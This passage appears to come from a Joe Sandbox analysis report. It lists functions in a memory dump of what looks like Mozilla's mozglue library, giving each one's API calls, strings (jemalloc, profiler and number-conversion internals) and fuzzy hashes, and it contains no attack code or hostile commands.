get , xrefs: 6C5F3205
set , xrefs: 6C5F36EC
MOZ_PROFILER_SYMBOLICATE, xrefs: 6C5F378D

Memory Dump Source

Source File: 00000000.00000002.2537895062.000000006C5A1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2537861549.000000006C5A0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2537968521.000000006C61D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538003967.000000006C62E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538037426.000000006C632000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: strlen$AddressCode$DescribeDetailsFormat
String ID: MOZ_PROFILER_SYMBOLICATE$get $set
API String ID: 2257098003-3318126862
Opcode ID: a103138ac29b8f29655c7509789b3c3037d6f134c8fe433de5e3c338fd85ae12
Instruction ID: 1dd297eb1b2b79828b1d152e5bb2653aefe833080a7bc1f2fb80730835ded342
Opcode Fuzzy Hash: a103138ac29b8f29655c7509789b3c3037d6f134c8fe433de5e3c338fd85ae12
Instruction Fuzzy Hash: 62324EB02083818FD769CF24C8906AEB7E2AFC9218F548C1DE5A987751DB30D94ACF57

Function 6C5E7E10 Relevance: 19.7, APIs: 6, Strings: 5, Instructions: 403COMMON

Download Yara Rule

Strings

name, xrefs: 6C5E7ECF, 6C5E8335
data, xrefs: 6C5E8280, 6C5E83E1
vbl, xrefs: 6C5E8207
schema, xrefs: 6C5E81E3, 6C5E8311
(pre-xul), xrefs: 6C5E7E88

Memory Dump Source

Source File: 00000000.00000002.2537895062.000000006C5A1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2537861549.000000006C5A0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2537968521.000000006C61D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538003967.000000006C62E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538037426.000000006C632000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: memcpystrlen
String ID: (pre-xul)$data$name$schema$vbl
API String ID: 3412268980-3299618421
Opcode ID: 50d0b56aba3fc2e26aab11ac4f7d6543053b5b6871bed52e6459001306bb12f5
Instruction ID: a1b437141be5dac922db1edcd1149e5d75ca01fef05616cee452cba8cc63c2c9
Opcode Fuzzy Hash: 50d0b56aba3fc2e26aab11ac4f7d6543053b5b6871bed52e6459001306bb12f5
Instruction Fuzzy Hash: 4FE19FB1A043408FC710CF69885165BFBE9BFD9314F14492DE899E7B80DBB5DC098B92

Function 6C605FF0 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 76COMMON

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 6C606009
??0PrintfTarget@mozilla@@IAE@XZ.MOZGLUE ref: 6C606024
?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(QZl,?), ref: 6C606046
OutputDebugStringA.KERNEL32(?,QZl,?), ref: 6C606061
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C606069
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C606073
_dup.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C606082
_fdopen.API-MS-WIN-CRT-MATH-L1-1-0(00000000,6C62148E), ref: 6C606091
__stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,QZl,00000000,?), ref: 6C6060BA
fclose.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C6060C4

Strings

QZl, xrefs: 6C605FFC, 6C606042, 6C606045, 6C6060B3

Memory Dump Source

Source File: 00000000.00000002.2537895062.000000006C5A1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2537861549.000000006C5A0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2537968521.000000006C61D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538003967.000000006C62E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538037426.000000006C632000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: PrintfTarget@mozilla@@$?vprint@DebugDebuggerOutputPresentString__acrt_iob_func__stdio_common_vfprintf_dup_fdopen_filenofclose
String ID: QZl
API String ID: 3835517998-1347650013
Opcode ID: ae20cf1adbea7b32352e3ae2fb57efe63dbb1a68cb0307b166650bb98f98f5c6
Instruction ID: f15666f5a24b7f9f7825f178081177139a7e0a32dddd7f0d94e971af1c7e5746
Opcode Fuzzy Hash: ae20cf1adbea7b32352e3ae2fb57efe63dbb1a68cb0307b166650bb98f98f5c6
Instruction Fuzzy Hash: 2F21BA71A002089FDF205F65DC4969E7BB8FF85314F008428E85B97640CB75A959CFD9

Function 6C5C5E90 Relevance: 19.2, APIs: 5, Strings: 6, Instructions: 2651COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(-0000000C), ref: 6C5C5EDB
memset.VCRUNTIME140(ew`l,000000E5,?), ref: 6C5C5F27
LeaveCriticalSection.KERNEL32(?), ref: 6C5C5FB2
memset.VCRUNTIME140(ew`l,000000E5,?), ref: 6C5C61F0
VirtualFree.KERNEL32(-00000001,00100000,00004000), ref: 6C5C7652

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C5C7BCD, 6C5C7C1F, 6C5C7C34, 6C5C80FD
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C5C72F8
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C5C730D
ew`l, xrefs: 6C5C5E9C, 6C5C5F22, 6C5C61ED
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C5C72E3
MOZ_CRASH(), xrefs: 6C5C7BA4

Memory Dump Source

Source File: 00000000.00000002.2537895062.000000006C5A1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2537861549.000000006C5A0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2537968521.000000006C61D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538003967.000000006C62E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538037426.000000006C632000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalSectionmemset$EnterFreeLeaveVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)$ew`l
API String ID: 2613674957-3284534115
Opcode ID: 0eb2f5d1eac8144c8dc0a26fb7c9cc57f2e1d263fa4e5e476b23e3c9fa4fe581
Instruction ID: 93e0d18dc5b735f1175636cdc2c193fcc3228e1f689290c03a4c01b83a1b6579
Opcode Fuzzy Hash: 0eb2f5d1eac8144c8dc0a26fb7c9cc57f2e1d263fa4e5e476b23e3c9fa4fe581
Instruction Fuzzy Hash: F2337D717057018FC304CF69C990625BBE2FF85368F29C6ADE9698BBA5D731E841CB42

Function 6C5F4820 Relevance: 18.2, APIs: 1, Strings: 9, Instructions: 744COMMON

Download Yara Rule

Strings

ProfileBuffer parse error: %s, xrefs: 6C5F4DD9
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*2, xrefs: 6C5F4D65
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*3, xrefs: 6C5F4DB8, 6C5F4DD8
data, xrefs: 6C5F49B4
bl, xrefs: 6C5F4F88
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime, xrefs: 6C5F4CAF
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration, xrefs: 6C5F4D0A
schema, xrefs: 6C5F48C1
-%llu, xrefs: 6C5F4825

Memory Dump Source

Source File: 00000000.00000002.2537895062.000000006C5A1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2537861549.000000006C5A0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2537968521.000000006C61D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538003967.000000006C62E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538037426.000000006C632000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: free
String ID: bl$-%llu$ProfileBuffer parse error: %s$data$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*2$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*3$schema
API String ID: 1294909896-2077017665
Opcode ID: bf58ac1bc1d24218161c3589ffb3d371bdbbab0921e3c04237e4291c021297af
Instruction ID: fd98a7aa6ab75b5fd96447dc6d80028990b5f4b436d5addc800e05ca4dca9abc
Opcode Fuzzy Hash: bf58ac1bc1d24218161c3589ffb3d371bdbbab0921e3c04237e4291c021297af
Instruction Fuzzy Hash: B0722071918B858BD326CF34C85139BF7E5BFDA344F108B1DE4996B611EB70A886CB42

Function 6C5CD4D0 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 251COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C62E784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C5DD1C5), ref: 6C5CD4F2
LeaveCriticalSection.KERNEL32(6C62E784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C5DD1C5), ref: 6C5CD50B

Part of subcall function 6C5ACFE0: EnterCriticalSection.KERNEL32(6C62E784), ref: 6C5ACFF6
Part of subcall function 6C5ACFE0: LeaveCriticalSection.KERNEL32(6C62E784), ref: 6C5AD026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C5DD1C5), ref: 6C5CD52E
EnterCriticalSection.KERNEL32(6C62E7DC), ref: 6C5CD690
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C5CD6A6
LeaveCriticalSection.KERNEL32(6C62E7DC), ref: 6C5CD712
LeaveCriticalSection.KERNEL32(6C62E784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C5DD1C5), ref: 6C5CD751
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C5CD7EA

Strings

<jemalloc>, xrefs: 6C5CD827
: (malloc) Error initializing arena, xrefs: 6C5CD82C

Memory Dump Source

Source File: 00000000.00000002.2537895062.000000006C5A1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2537861549.000000006C5A0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2537968521.000000006C61D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538003967.000000006C62E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538037426.000000006C632000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$K@1@Maybe@_RandomUint64@mozilla@@$CountInitializeSpin
String ID: : (malloc) Error initializing arena$<jemalloc>
API String ID: 2690322072-3894294050
Opcode ID: d29315c21f819302edc94ff9605a0aa35722c51b6b87dbc11c76b2282769ebf9
Instruction ID: b70a81f91e4c0ef53031cb780c280b10301117b476674437399d1e57aa31c196
Opcode Fuzzy Hash: d29315c21f819302edc94ff9605a0aa35722c51b6b87dbc11c76b2282769ebf9
Instruction Fuzzy Hash: BF91DE71B447018FD714CFB9C89076AB7E1EB89314F15893EE49AC7A81D738E845CB86

Function 6C604EA0 Relevance: 16.2, APIs: 8, Strings: 1, Instructions: 408sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000007D0), ref: 6C604EFF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C604F2E
moz_xmalloc.MOZGLUE ref: 6C604F52
memset.VCRUNTIME140(00000000,00000000), ref: 6C604F62
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6052B2
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6052E6
Sleep.KERNEL32(00000010), ref: 6C605481
free.MOZGLUE(?), ref: 6C605498

Strings

(, xrefs: 6C605250

Memory Dump Source

Source File: 00000000.00000002.2537895062.000000006C5A1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2537861549.000000006C5A0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2537968521.000000006C61D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538003967.000000006C62E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538037426.000000006C632000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: floor$Sleep$freememsetmoz_xmalloc
String ID: (
API String ID: 4104871533-3887548279
Opcode ID: 5c593d2faf7809f03efcff2bf2579bf411bce8eae0de8c22617e9788faa5ceca
Instruction ID: 39158aa9930defee7f6f2410cd12d6e3ea26330b2d5a9aa2321b8e55e89a3b3c
Opcode Fuzzy Hash: 5c593d2faf7809f03efcff2bf2579bf411bce8eae0de8c22617e9788faa5ceca
Instruction Fuzzy Hash: A0F1C471A18B508FC716CF39C89062BB7F5AFE6384F058B2EF846A7651DB31D4428B85

Function 6C607030 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 54windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 6C607046
FormatMessageA.KERNEL32(00001300,00000000,00000000,00000400,?,00000000,00000000), ref: 6C607060
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C60707E

Part of subcall function 6C5B81B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6C5B81DE

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C607096
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C60709C
LocalFree.KERNEL32(?), ref: 6C6070AA

Strings

(null), xrefs: 6C60706A, 6C607083
### ERROR: %s: %s, xrefs: 6C607087

Memory Dump Source

Source File: 00000000.00000002.2537895062.000000006C5A1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2537861549.000000006C5A0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2537968521.000000006C61D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538003967.000000006C62E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538037426.000000006C632000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: __acrt_iob_func$ErrorFormatFreeLastLocalMessage__stdio_common_vfprintffflush
String ID: ### ERROR: %s: %s$(null)
API String ID: 2989430195-1695379354
Opcode ID: 06a6c5acbe574e5695b5f25b035d488fdcb795529430589dfa6c10ab4672b0b2
Instruction ID: 207a2007d209c76fcff73cc7a9a3a79f5c3462527a4f563cb7ea939f4b7c1af7
Opcode Fuzzy Hash: 06a6c5acbe574e5695b5f25b035d488fdcb795529430589dfa6c10ab4672b0b2
Instruction Fuzzy Hash: 0C01B9B1A00104AFDB00AB65DC8ADEF7BBCEF89255F050435FA46A3241D67579188BA9

Function 6C5C9E50 Relevance: 13.1, APIs: 6, Strings: 1, Instructions: 878COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C5C9EB8
LeaveCriticalSection.KERNEL32(?), ref: 6C5C9F24
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C5C9F34
LeaveCriticalSection.KERNEL32(?), ref: 6C5CA823
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C5CA83C
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C5CA849

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C5CA8B1, 6C5CA8D4, 6C5CA8EF

Memory Dump Source

Source File: 00000000.00000002.2537895062.000000006C5A1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2537861549.000000006C5A0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2537968521.000000006C61D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538003967.000000006C62E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538037426.000000006C632000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalSection$K@1@LeaveMaybe@_RandomUint64@mozilla@@$Entermemset
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 2950001534-1351931279
Opcode ID: ae4ca745ea65f1ba15a3a0a723ee8c080cdc3be4442e1b30eabcab41ef43afa3
Instruction ID: 1fa50fc0e4c5f8589d2fcea6b4355c3d6b18af737ba4e5161772e2fe09930924
Opcode Fuzzy Hash: ae4ca745ea65f1ba15a3a0a723ee8c080cdc3be4442e1b30eabcab41ef43afa3
Instruction Fuzzy Hash: 39727A72A056118FD704CF68C980215FFE1BF89328F29C76DE8699B791D375E842CB82

Function 6C5F2C10 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 228stringCOMMON

Download Yara Rule

APIs

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6C5F2C31
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6C5F2C61

Part of subcall function 6C5A4DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C5A4E5A
Part of subcall function 6C5A4DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C5A4E97

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C5F2C82
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C5F2E2D

Part of subcall function 6C5B81B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6C5B81DE

Strings

expected a Time entry, xrefs: 6C5F2E36
ProfileBuffer parse error: %s, xrefs: 6C5F2E3B
(root), xrefs: 6C5F354F

Memory Dump Source

Source File: 00000000.00000002.2537895062.000000006C5A1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2537861549.000000006C5A0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2537968521.000000006C61D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538003967.000000006C62E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538037426.000000006C632000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Dtoa$Ascii@Builder@2@Builder@2@@Converter@CreateDecimalEcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestV12@__acrt_iob_func__stdio_common_vfprintfstrlen
String ID: (root)$ProfileBuffer parse error: %s$expected a Time entry
API String ID: 801438305-4149320968
Opcode ID: 87563e9266fa5d9563851134e896654ca26429316ed0db3640f8f8dd36d38ba5
Instruction ID: 0505b8a4d4f82c47b004136eb30c6ac387f42898893907f90401523c696e4f8a
Opcode Fuzzy Hash: 87563e9266fa5d9563851134e896654ca26429316ed0db3640f8f8dd36d38ba5
Instruction Fuzzy Hash: 0591C0B06087808FD728DF28C89069EB7E1AFC9358F50491DE9AA87751DB30D94ACF57

Function 6C609E30 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 347COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 6C609F3D
__aulldiv.LIBCMT ref: 6C609F77
__aullrem.LIBCMT ref: 6C609F8C
__aulldiv.LIBCMT ref: 6C60A023

Strings

NaN, xrefs: 6C609EAB
-Infinity, xrefs: 6C609E60, 6C609E7B

Memory Dump Source

Source File: 00000000.00000002.2537895062.000000006C5A1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2537861549.000000006C5A0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2537968521.000000006C61D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538003967.000000006C62E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538037426.000000006C632000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: __aulldiv__aullrem
String ID: -Infinity$NaN
API String ID: 3839614884-2141177498
Opcode ID: 08fe296fd98c543bd08ddaf4f9fb7262684944f89363a70c6d1e94d342d46ebf
Instruction ID: 3903b1d65cf20848c713342c61e83fb4e205740b53b16c797599721de9d6bb7c
Opcode Fuzzy Hash: 08fe296fd98c543bd08ddaf4f9fb7262684944f89363a70c6d1e94d342d46ebf
Instruction Fuzzy Hash: 29C1AD71B04318CBDB18CFA8C9907DEB7B6AF84348F144529D406BBB82DB71AD49CB95

Function 6C5AD4E0 Relevance: 10.8, Strings: 8, Instructions: 805COMMON

Download Yara Rule

Strings

, xrefs: 6C5ADA88
0, xrefs: 6C5AD852
-, xrefs: 6C5AD7DD
8, xrefs: 6C5ADC08
1, xrefs: 6C5ADBDD
9, xrefs: 6C5ADE7F
@, xrefs: 6C5ADAF6
0, xrefs: 6C5ADC7F

Memory Dump Source

Source File: 00000000.00000002.2537895062.000000006C5A1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2537861549.000000006C5A0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2537968521.000000006C61D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538003967.000000006C62E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538037426.000000006C632000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID:
String ID: $-$0$0$1$8$9$@
API String ID: 0-3654031807
Opcode ID: 0469f94be94e5154d43afb35b44d633da74d80ede508b27f3299f66545a9d1f3
Instruction ID: ce249c2d85c15ab09f3eef36ed71f8285139c425f59ba3cebf0aee1566210d87
Opcode Fuzzy Hash: 0469f94be94e5154d43afb35b44d633da74d80ede508b27f3299f66545a9d1f3
Instruction Fuzzy Hash: F162CF7150C3458FD705EE9AC89075EBBF2AF8A318F184A0DECE54BA51D335D986CB82

Function 6C61545C Relevance: 9.3, APIs: 5, Strings: 1, Instructions: 305COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C618A4B

Strings

~qZl, xrefs: 6C619269, 6C615703, 6C6156C7, 6C619459, 6C615740, 6C61921F, 6C61948F

Memory Dump Source

Source File: 00000000.00000002.2537895062.000000006C5A1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2537861549.000000006C5A0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2537968521.000000006C61D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538003967.000000006C62E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538037426.000000006C632000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: memset
String ID: ~qZl
API String ID: 2221118986-4224160377
Opcode ID: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction ID: f3e47a8d9a74a4474d5a803e9fdfebcbba9b27d2980a759e6adc3b010f372e4b
Opcode Fuzzy Hash: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction Fuzzy Hash: 46B1D772E0821A8FDB14CF6CCC917E9B7B2EF85314F1902A9C549DBB91D730A985CB94

Function 6C61542B Relevance: 9.3, APIs: 5, Strings: 1, Instructions: 287COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C6188F0
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C61925C

Strings

~qZl, xrefs: 6C619269, 6C615703, 6C6156C7, 6C619459, 6C615740, 6C61921F, 6C61948F

Memory Dump Source

Source File: 00000000.00000002.2537895062.000000006C5A1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2537861549.000000006C5A0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2537968521.000000006C61D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538003967.000000006C62E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538037426.000000006C632000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: memset
String ID: ~qZl
API String ID: 2221118986-4224160377
Opcode ID: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction ID: a8bd9fab5e846487c4916218042354b369f0e030be6045cf2dedb52953ff0e03
Opcode Fuzzy Hash: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction Fuzzy Hash: 77B1C572E0820A8FDB14CF6CCC816EDB7B2AF85314F190279C549DBB95D730A989CB94

Function 6C60C410 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C60C0E9), ref: 6C60C418
GetProcAddress.KERNEL32(00000000,NtQueryVirtualMemory), ref: 6C60C437
FreeLibrary.KERNEL32(?,6C60C0E9), ref: 6C60C44C

Strings

NtQueryVirtualMemory, xrefs: 6C60C431
ntdll.dll, xrefs: 6C60C413

Memory Dump Source

Source File: 00000000.00000002.2537895062.000000006C5A1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2537861549.000000006C5A0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2537968521.000000006C61D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538003967.000000006C62E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538037426.000000006C632000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtQueryVirtualMemory$ntdll.dll
API String ID: 145871493-2623246514
Opcode ID: 9786a22231714566ad89453b8477d514271840b62303c6b74f073385d70dd9da
Instruction ID: 9bdf78e303547c56877abce20579eb2b07751252da307d4fe5d1ae9b2055ef5d
Opcode Fuzzy Hash: 9786a22231714566ad89453b8477d514271840b62303c6b74f073385d70dd9da
Instruction Fuzzy Hash: 64E0B678705311ABEF007F77CA98711BBF8FB46745F044516EA4699611EBBCC0028B5E

Function 6C5B9F00 Relevance: 8.5, Strings: 6, Instructions: 1039COMMON

Download Yara Rule

Strings

